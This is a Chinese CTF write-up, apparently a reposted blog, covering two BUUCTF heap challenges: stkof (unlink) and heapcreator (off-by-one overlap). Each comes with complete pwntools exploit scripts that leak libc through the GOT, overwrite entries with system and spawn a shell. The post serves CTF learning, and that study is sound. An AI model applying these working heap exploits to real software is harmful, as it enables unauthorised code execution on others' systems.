欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

buuctf中的一些pwn题总结(不断更新)

程序员文章站 2022-04-25 20:26:23
...

前言:

本文记录一些buuctf中不是很典型,但是仍然值得记录的pwn题,以便于查看。

0x00:stkof——unlink

查看保护

buuctf中的一些pwn题总结(不断更新)

查看IDA伪代码

buuctf中的一些pwn题总结(不断更新)
自定义size,使用malloc分配。

buuctf中的一些pwn题总结(不断更新)
free之后直接置空,难以利用。

buuctf中的一些pwn题总结(不断更新)
重点来到改中,这里可以随意输入大小,然后根据输入的大小来为堆块中填入数据。这样就造成了堆溢出漏洞。

解题思路

由于此题存在堆溢出漏洞,我们又掌控着heap地址的存在位置,这样我们很容易就想到unlink漏洞来控制堆块。
由于程序本身的原因,我们先malloc一个堆块,这样就可以把程序本身需要申请的输入输出流堆块给申请出来(看了ctfwiki得知????)
解决掉这麻烦后,我们就直接来用unlink漏洞来把堆块劫持到heap地址存在的位置0x602140处。

new(0x100)
new(0x30)
new(0x80)
payload = p64(0) + p64(0x21) + p64(heap + 16  - 0x18) + p64(heap + 16 - 0x10)
payload += p64(0x20)
payload = payload.ljust(0x30, 'a')
payload += p64(0x30) + p64(0x90)
read(2, len(payload), payload)
delete(3)

这是一组典型的unlink利用代码,可以把堆块劫持到heap地址存在 - 8处。
这样我们就把chunk2劫持到了heap地址存在处附近。
达到这一步,我们就很容易的可以直接把got表中的信息泄露出来,甚至可以随意修改他们。

payload = 'a' * 0x8 + p64(elf.got['free']) + p64(elf.got['puts']) + p64(elf.got['atoi'])
read(2, len(payload), payload)

buuctf中的一些pwn题总结(不断更新)
把这些got写到这里后,我们就可以对他们进行操作了。
由于此题没有泄露的函数,我们只能通过修改free_got为puts_plt,这样删函数就变成了查函数了,我们delete(1)就会泄露puts_got的真正地址。
接下来就可以直接修改atoi_got为system函数基址了。

完整exp:

#! /usr/bin/env python
from pwn import *

p = process('./stkof')
#p = remote('node3.buuoj.cn', 27616)
elf = ELF('./stkof')
libc = ELF('./libc.so.6')
heap = 0x602140

def new(size):
    p.sendline('1')
    p.sendline(str(size))

def read(index, size, content):
    p.sendline('2')
    p.sendline(str(index))
    p.sendline(str(size))
    p.sendline(str(content))

def delete(index):
    p.sendline('3')
    p.sendline(str(index))

new(0x100)
new(0x30)
new(0x80)
payload = p64(0) + p64(0x21) + p64(heap + 16  - 0x18) + p64(heap + 16 - 0x10)
payload += p64(0x20)
payload = payload.ljust(0x30, 'a')
payload += p64(0x30) + p64(0x90)
read(2, len(payload), payload)
delete(3)
p.recvuntil('OK\n')

payload = 'a' * 0x8 + p64(elf.got['free']) + p64(elf.got['puts']) + p64(elf.got['atoi'])
read(2, len(payload), payload)
gdb.attach(p)
pause()
read(0, 0x8, p64(elf.plt['puts']))
delete(1)
puts = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
print hex(puts)
libc_base = puts - libc.sym['puts']
system = libc.sym['system'] + libc_base
binsh = libc.search('/bin/sh').next() + libc_base

read(2, 0x8, p64(system))
#p.recvuntil('OK\n')
p.sendline('/bin/sh\x00')
p.interactive()

0x01:hitcontraining_heapcreator——overlap

查看保护

buuctf中的一些pwn题总结(不断更新)

IDA查看伪代码

buuctf中的一些pwn题总结(不断更新)
查看伪代码后发现,程序首先会malloc一个0x21的堆块,用来存储堆块的地址,然后我们就可以自己输入任意大小的堆块,然后输入数据。
在本地调试中,申请一块0x21大小,截取到一些数据:

0x603000:	0x0000000000000000	0x0000000000000021
0x603010:	0x0000000000000014	0x0000000000603030
0x603020:	0x0000000000000000	0x0000000000000021
0x603030:	0x000000000a616161	0x0000000000000000
0x603040:	0x0000000000000000	0x0000000000020fc1

从数据来看,我们发现的确是我们想得那样。

buuctf中的一些pwn题总结(不断更新)
删除函数写的很好,很难进行利用。

buuctf中的一些pwn题总结(不断更新)
改函数需要我们输入一个index,然后对其进行修改,我们发现,在改函数中,我们可以多输入一个字节。
这样我们就可以利用off by one。

buuctf中的一些pwn题总结(不断更新)
输入index进行查询,可以用来泄露一些东西。

解题思路

我们发现可以利用off by one来进行overlap。
我们首先申请两个0x21大小的堆块,然后对进行chunk0进行修改。

new(0x18, 'aaa')
new(0x10, 'bbb')
payload = '/bin/sh\x00' + 'a' * 0x10 + '\x41'
edit(0, payload)

我们通过本地调试,截取到下面数据:

0x0000000000000000	0x0000000000000021
0x1ed8010:	0x0000000000000018	0x0000000001ed8030
0x1ed8020:	0x0000000000000000	0x0000000000000021
0x1ed8030:	0x0068732f6e69622f	0x6161616161616161
0x1ed8040:	0x6161616161616161	0x0000000000000041
0x1ed8050:	0x0000000000000010	0x0000000001ed8070
0x1ed8060:	0x0000000000000000	0x0000000000000021
0x1ed8070:	0x0000000000626262	0x0000000000000000
0x1ed8080:	0x0000000000000000	0x0000000000020f81

我们把保存堆地址的堆的size改为了0x41,接下来我们就直接删除这一堆块。
老pwn????都知道,我们删除的堆块并不会消失不见,并且当我们再次申请一块相同大小的堆块时,堆块就会申请到这里来,这正是我们要利用的点。
我们再次申请:

delete(1)
new(0x30, 'ccc')

我们本地调试,截取到一些数据:

0x10fe000:	0x0000000000000000	0x0000000000000021
0x10fe010:	0x0000000000000018	0x00000000010fe030
0x10fe020:	0x0000000000000000	0x0000000000000021
0x10fe030:	0x0068732f6e69622f	0x6161616161616161
0x10fe040:	0x6161616161616161	0x0000000000000041
0x10fe050:	0x0000000000636363	0x00000000010fe070
0x10fe060:	0x0000000000000000	0x0000000000000021
0x10fe070:	0x0000000000000030	0x00000000010fe050
0x10fe080:	0x0000000000000000	0x0000000000020f81

我们发现我们可以写的堆居然到存地址堆的前面,其实这也是利用了堆分配机制。
有了这样的堆块,我们就可以直接改写堆指针。
这样我们就可以先泄露数据,再改写got表。

完整exp

#! /usr/bin/env python
from pwn import *

p = process('./heapcreator')
#p = remote('node3.buuoj.cn', 27707)
elf = ELF('./heapcreator')
libc = ELF('./libc.so.6')

def new(size, content):
    p.sendlineafter('Your choice :', '1')
    p.sendlineafter('Size of Heap : ', str(size))
    p.sendafter('Content of heap:', content)

def edit(index, content):
    p.sendlineafter('Your choice :', '2')
    p.sendlineafter('Index :', str(index))
    p.sendafter('Content of heap : ', content)

def show(index):
    p.sendlineafter('Your choice :', '3')
    p.sendlineafter('Index :', str(index))

def delete(index):
    p.sendlineafter('Your choice :', '4')
    p.sendlineafter('Index :', str(index))

new(0x18, 'aaa')
new(0x10, 'bbb')
payload = '/bin/sh\x00' + 'a' * 0x10 + '\x41'
edit(0, payload)
delete(1)
new(0x30, 'ccc')
payload = 'c' * 0x10 + p64(0) + p64(0x21) + p64(0x30) + p64(elf.got['free'])
edit(1, payload)
show(1)
free = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
print hex(free)
libc_base = free - libc.sym['free']
system = libc_base + libc.sym['system']
edit(1, p64(system))
delete(0)
p.interactive()

未完待续。。。

0x02:0ctf_2017_babyheap

相关标签: pwn